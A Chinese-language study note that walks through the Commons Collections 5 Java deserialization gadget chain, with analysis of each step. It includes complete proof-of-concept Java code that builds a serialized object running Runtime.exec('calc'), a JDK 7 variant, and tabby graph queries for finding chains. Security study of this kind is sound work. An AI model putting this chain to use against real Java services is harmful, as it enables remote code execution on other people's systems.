Java Commons Collections 5 调用链
前言:作为Commons Collections 5 调用链的学习笔记
Commons Collections5 调用链(jdk>=8u76)
yso的调用链过程如下:
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
这里就不调试了,直接逆推来学习下,利用代码如下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
讲上面的代码之前,先说一个小知识点,关于"SecurityManager",SecurityManager也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。

漏洞分析
TiedMapEntry tiedmap = new TiedMapEntry(map,121212121);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
先看这段,BadAttributeValueExpException这个类肯定是重点,因为都是围绕着BadAttributeValueExpException类来进行操作的,这里我们一步一步反向推分析
生成了一个BadAttributeValueExpException对象,然后将这个对象中的var属性替换为了TiedMapEntry对象,上面的代码就做了这件事情,那么这个var对象(也就是TiedMapEntry)肯定会被触发,哪里触发?BadAttributeValueExpException的readObject方法中
这里去看下BadAttributeValueExpException的readObject方法,反序列化取出对应的val变量的字段,还需要注意到下面的toString方法

而TiedMapEntry对象实例化的时候构造器中又传入了两个属性,map和1212121,这里的map为LazyMap,然后这里的1212121没啥用,单纯满足构造函数
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,121212121);
这里的toString是反序列化延续的点,此时val取出来就是TiedMapEntry对象,因为上面的val.set(poc,timedmap)
TiedMapEntry中的toString方法,其getValue()方法则会触发上面构造函数的LazyMap对象的get方法


这里来看到LazyMap对象的get方法,而其中的factory则是LazyMap map = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);,这里则就会触发链式调用

这里的1212121在里面的判断语句中还是有作用的,需要存储的innermap取不到这个主键的值才可以,所以这里任意就好

最后就是经典的链式调用ChainedTransformer了,最后触发命令执行calc

需要注意的地方
问题1:为什么idea反序列化调试CC5的时候,还没进行反序列化操作的时候就会直接弹出calc?
在idea本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。

我自己本地测试发现这种在调试器模式下是会进行触发的
public class test_tostring {
public static void main(String[] args) {
Person p = new Person();
final Object a = p;
}
}
那么该如何解决呢?
这里就当作默认让它map对象在赋值的时候会触发链式调用,那么我们则可以通过反射,在最后一步生成序列化的时候再将相关的chainedTransformer再进行添加,如下代码所示
但是我发现在最后这样添加了,之后还是会触发,这个问题先留着吧,我个人的猜想是factory.set中可能又进行了触发...
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(map, chainedTransformer);
问题2:ysoserial代码中的Transformer数组,为什么最后会增加一个ConstantTransformer(1)?
在看PHITHON的安全漫谈的反序列化第五篇中记录如下信息

为什么只能在jdk>=8u76下进行使用
这里来观察下相关的反序列化入口点BadAttributeValueExpException就可以知道了,你会发现这个类在8u76之前都没有readObject方法,自然就无法进行利用了。
如何在jdk<=8u76下进行使用
这里来看下TiedMapEntry类,可以发现除了toString方法,其中同样也存在hashCode的方法

那么这里就可以找哪里同样调用了hashCode方法
7u80 中的 java/util/HashMap.java 中的 readObject方法,该方法其中的putForCreate,该方法同样也调用了putForCreate,其中也调用了hash,最终调用了hashcode()

package com.zpchcbd.cc5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5_7u {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)}
);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})};
// LazyMap封装
HashMap innermap = new HashMap();
LazyMap lazyMap = (LazyMap)LazyMap.decorate(innermap, chainedTransformer);
// TiedMapEntry封装
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,121212121);
// 基于jdk7的利用
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry, "zpchcbd");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc5.txt"));
outputStream.writeObject(hashMap);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc5.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
tabby反序列化链挖掘
BadAttributeValueExpException_TiedMapEntry_LazyMap_Transformer
对于cc5的反序列化链,实质上其实是对AnnocationHandler在jdk8中的修改变动的绕过
寻找思路:LazyMap到命令执行org.apache.commons.collections.Transformer的地方我们已经有了,所以我们需要寻找的就是source->LazyMap的地方,所以这里定义的三元组为如下
souce:任意类#readObject
chain:
sink:java.util.Map#get
如果用下面这段语法来搜索,路径太多导致不容易进行分析
match (source:Method) where source.NAME="readObject"
match (m1:Method)-[:CALL]-(m2:Method{NAME:"get",CLASSNAME:"java.util.Map"}) where m1.CLASSNAME=~'.*org.apache.commons.*'
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

为了清楚相关的路径,这里采取的方法就是路径为1的方法来进行分析,分段查找,这里的话就查找 哪个类调用了java.util.Map#get方法,这样就比较容易进行查看
match (m1:Method)-[:CALL]-(m2:Method{NAME:"get",CLASSNAME:"java.util.Map"}) where m1.CLASSNAME=~'.*org.apache.commons.*'
return m1.CLASSNAME,m1.NAME,m1.PARAMETER_SIZE

接着就是去寻找 任意类#readObject到TiedMapEntry之间的关系了,如下图所示,可以直接找到一个BadAttributeValueExpException类来进行利用
match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="getValue" and m1.CLASSNAME="org.apache.commons.collections.keyvalue.TiedMapEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 3) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

HashMap_TiedMapEntry_LazyMap_Transformer
source更改为HashMap的实现同样也可以实现反序列化链,这里用的语句就是跟上面用的语句是一样的,并且在jdk7/8中都可以使用,因为source用的不在是BadAttributeValueExpException类了
match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="getValue" and m1.CLASSNAME="org.apache.commons.collections.keyvalue.TiedMapEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 3) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10


浙公网安备 33010602011771号